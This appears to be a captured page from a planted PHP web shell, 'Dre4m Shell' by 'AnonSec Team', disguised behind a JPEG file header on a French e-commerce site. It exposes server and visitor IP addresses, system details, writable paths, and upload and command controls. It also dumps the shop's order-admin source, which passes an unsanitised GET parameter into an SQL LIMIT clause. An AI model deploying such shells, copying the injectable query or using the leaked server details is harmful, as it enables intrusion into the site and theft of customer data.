ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/index222.php
<?php
include_once('includes/header.php');

//****************************************************************************************//
//************************************ css pour mails ************************************//
//****************************************************************************************//
 
   $thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
    $resulta = $thema->fetchAll();
	$fil = $resulta[0]['fil'] ;
	$tfil = $resulta[0]['tfil'] ;
	$shop_email_rappel = $resulta[0]['email_rappel'];
	$shop_title = $resulta[0]['title'];
	$url_shop = $resulta[0]['url'] ;

	$sql = $GLOBALS['bdd']->query("SELECT * FROM themes WHERE cle >0");
	$list= $sql->fetchAll();

  for($i=0; $i<count($list); $i++) {
      $Image_Logo = $list[$i]['Image_Logo'];
}
 
 



//////////////////////////////////////////////////////////// PAGINATION
require_once('pagination_fonction.php'); 
//////////////////////////////////////////////////////////// PAGINATION

// Suppression de la commande.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
    
  $requete = $bdd->prepare("DELETE FROM orders WHERE id = :id");
  $requete->execute(array('id' => $id));
    
  $requete = $bdd->prepare("DELETE FROM orders_products WHERE id_order = :id");
  $requete->execute(array('id' => $id));
    
  $requete = $bdd->prepare("DELETE FROM order_status WHERE id_order = :id");
  $requete->execute(array('id' => $id));


//////////////////////////////////////////////////////

  echo '<script>';
  echo 'window.location = "./index.php"';
  echo '</script>';
}

// Mise ?jour du status de la commande
if (isset($_POST['insere_status'])) 
{
  $sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
    VALUES (:order, :date_status, :status)');

  $sql->execute(array('order' => $_POST['id'],
            'date_status' => date('Y-m-d H:i:s'),
            'status' =>  $_POST['status']));

  $sql = $bdd->query('SELECT title, url, email_contact FROM info
    WHERE id = 1');
  $infos = $sql->fetch();

  $sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
    WHERE id = :order');
  $sql->execute(array('order' => $_POST['id']));

  $order = $sql->fetch();



//////////////////////////////////////////////////////
  if ($gesto > 0) { 
  if ($_POST['status'] =='3') { 
$id_cde = $_POST['id'];
$status_cde = $_POST['status'];
include('debit_stock.php');
  }
}
/////////////////////////////////////////////////////
	$msg ='
	<html lang="fr">
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		</head>
		<body>';
		
if ($emailo < 1) { 	$msg .='<img src="'.$url_shop.'/templates/shop/img/'.$Image_Logo.'" style="margin:10px; max-width:300px">';
} else {
	                $msg .='<img src="'.$url_shop.'/templates/shop/img/'.$Image_Logo.'" style="margin:10px;max-width:300px">';
} 
		
          	$msg .='
			<div style="background-color: #'.$fil.'; color:#'.$tfil.'; border-radius: 6px;">
				<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
			</div>
			<br />';


  $msg .= '
  Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande N. ' . $order['id_order'] . ' - ' . $order['id'] . ') a &eacute;t&eacute; mise &agrave; jour le ' . strftime("%d/%m/%Y &agrave; %Hh%M", time()) . '. <br /><br />Son nouveau statut est d&eacute;sormais <b>"';
  switch ($_POST['status']) {
    case '1':
      $msg .= ''. $comm_1;
      break;
    
    case '2':
      $msg .= ''. $comm_2;
      break;
    
    case '3':
      $msg .= ''. $comm_3;
      break;
    
    default:
      $msg .= ''. $comm_4;
      break;
  }

  $msg .= '"</b>.<br />Vous pouvez suivre votre commande en cliquant ici :  <a href="' . $infos['url'] . '/suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
  
  $msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';


  // Envoi message au client.
  require('../includes/phpmailer/class.phpmailer.php');

  $mail = new PHPMailer();
  $mail->IsMail();
  $mail->AddReplyTo($shop_email_rappel, $shop_title);
  $mail->AddAddress($order['email']);
  $mail->SetFrom($shop_email_rappel, $shop_title);
  $mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
  $mail->MsgHTML($msg);
  $mail->Send();

  echo '<script>';
  echo 'window.location = "./index.php"';
  echo '</script>';
}
?>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Liste des commandes</h1>
      </div>
    </div>
  </div>
  <table class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span1 center">N.Ordre</th>
        <th class="span1 center">N.Cde</th>
        <th class="span2 center">Nom</th>
        <th class="span2 center">Date</th>
        <th class="span1 center">Etat</th>
        <th class="span1 center">Total</th>
        <th class="span1 center">Op&eacute;rations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
//////////////////////////////////////////////////////////// PAGINATION
    $res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM orders");
    $columns = $res->fetch();
    $nb_total = $columns['nb_total'];     
      
//////////////////////////////////////////////////////////// PAGINATION
	if (!isset($_GET['debut'])) $_GET['debut'] = 0;
	$nb_affichage_par_page = $commeo;
//////////////////////////////////////////////////////////// PAGINATION
 
     $requete = $bdd->query("SELECT o.*, a.firstname, a.lastname, os.status FROM orders o 
        INNER JOIN address a
        ON a.id = o.invoice_address
        RIGHT JOIN order_status os
        ON os.id_order = o.id
        WHERE os.date_status = (SELECT MAX(date_status) FROM order_status
                                WHERE id_order = o.id)
        ORDER BY id DESC LIMIT ".$_GET['debut'].",".$nb_affichage_par_page." "); 
      if ($row = $requete->fetch()) {
        do {
          ?>

          <tr>
            <td class="center">
              <b><?php echo stripcslashes($row['id']) ?></b>
            </td>
            
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['id_order']) ?></b>
            </td>
            
            <td class="center">
              <b><?php echo stripcslashes($row['firstname']) ?> <?php echo stripcslashes($row['lastname']) ?></b>
            </td>
            <td class="center">
              <b>
                <?php
                setlocale (LC_TIME, 'fr_FR.utf8','fra'); 
                echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($row['date_insere'])));
                
                echo'<br />';
                echo'<font color="#FF0000">' . $row['carrier'] .'</font>';
                ?>
              </b>
            </td>
            <td class="center">
              <b>
                <?php
                switch ($row['status']) {
                  case '1':
                    echo$comm_1;
                    break;
                  
                  case '2':
                    echo$comm_2;
                    break;
                  
                  case '3':
                    echo$comm_3;
                    break;
                  
                  default:
                    echo$comm_4;
                    break;
                }
                ?>
              </b>
            </td>
            </td>
            <td class="center">
              <b><?php echo stripcslashes(number_format($row['total'], 2, ',', ' '))."&euro;" ?> <br /><font color="#CC3300" size="2"><?php echo $row['txt_discount']; ?></font></b>
            </td>
            <td class="center">
            
<?php 
  if ($gesto > 0) { 
 if ($row['status'] !== '3') {  ?>       
            
              <a href="#" id="<?php echo $row['id']; ?>" data-toggle="modal" data-target="#edit_status_<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer le status de la commande">
              </a>
             
<?php  } else { ?>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<?php  } 
} else {
?>

              <a href="#" id="<?php echo $row['id']; ?>" data-toggle="modal" data-target="#edit_status_<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer le status de la commande">
              </a>

<?php  }  ?>

             &nbsp;  
             <a href="./details_order.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/details.png" title="D?ail de la commande">
              </a>
              &nbsp;

<?php 
  if ($gesto > 0) { 
 if ($row['status'] == '3') {  ?>       
            
              <a href="./index.php?del=<?php echo $row['id']; ?>" id="'.$id.'" onclick="return confirm('?es vous sur de vouloir supprimer cet ??ent ?');">
                <img src="assets/img/delete.png" title="Supprimer la commande">
              </a>
             
<?php  } else { ?>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<?php  } 
} else {
?>

              <a href="./index.php?del=<?php echo $row['id']; ?>" id="'.$id.'" onclick="return confirm('?es vous sur de vouloir supprimer cet ??ent ?');">
                <img src="assets/img/delete.png" title="Supprimer la commande">
              </a>

<?php  }  ?>




              
              &nbsp;
            </td>
          </tr>
          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune commande &agrave; afficher !!!';
      }
      ?>

    </tbody>
  </table>
  
<div class="pagin">
<?php
//////////////////////////////////////////////////////////// PAGINATION
//mysql_free_result ($requete);
  echo '<b>'.barre_navigation($nb_total, $nb_affichage_par_page, $_GET['debut'], 8).'</b>';
// on lib?e l'espace m?oire allou?pour cette requ?e
// mysql_free_result ($resultat);
//////////////////////////////////////////////////////////// PAGINATION
?>
<br /><br />
</div>
  
</div>

<?php
$requete = $bdd->query("SELECT o.*, a.firstname, a.lastname, MAX(os.status) as status FROM orders o 
  INNER JOIN address a
  ON a.id = o.invoice_address
  RIGHT JOIN order_status os
  ON os.id_order = o.id
  GROUP BY o.id
  ORDER BY date_insere DESC"); 
while ($row = $requete->fetch()) {
  ?>
  <div class="modal hide fade" id="edit_status_<?php echo $row['id']; ?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
    <div class="modal-header">
      <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
      <h3 id="edit_status_title_box">Edition du status de la commande</h3>
    </div>
    <form action="index.php" method="POST">
      <input type="hidden" name="id" value="<?php echo $row['id']; ?>">
      <div class="modal-body" id="edit_status_box_content">
        <label for="status">Statut :</label>
        <select name="status" data-placeholder="Veuillez s?ectionner le nouveau statut de la commande" id="status">
          <option value="0"><?php echo$comm_4; ?></option>
          <option value="1"><?php echo$comm_1; ?></option>
          <option value="2"><?php echo$comm_2; ?></option>
          <option value="3"><?php echo$comm_3; ?></option>
        </select>
      </div>
      <div class="modal-footer">
        <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
        <input name="insere_status" type="submit" class="btn btn-primary" value="Enregistrer" />
      </div>
    </form>
  </div>
  <?
}

include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team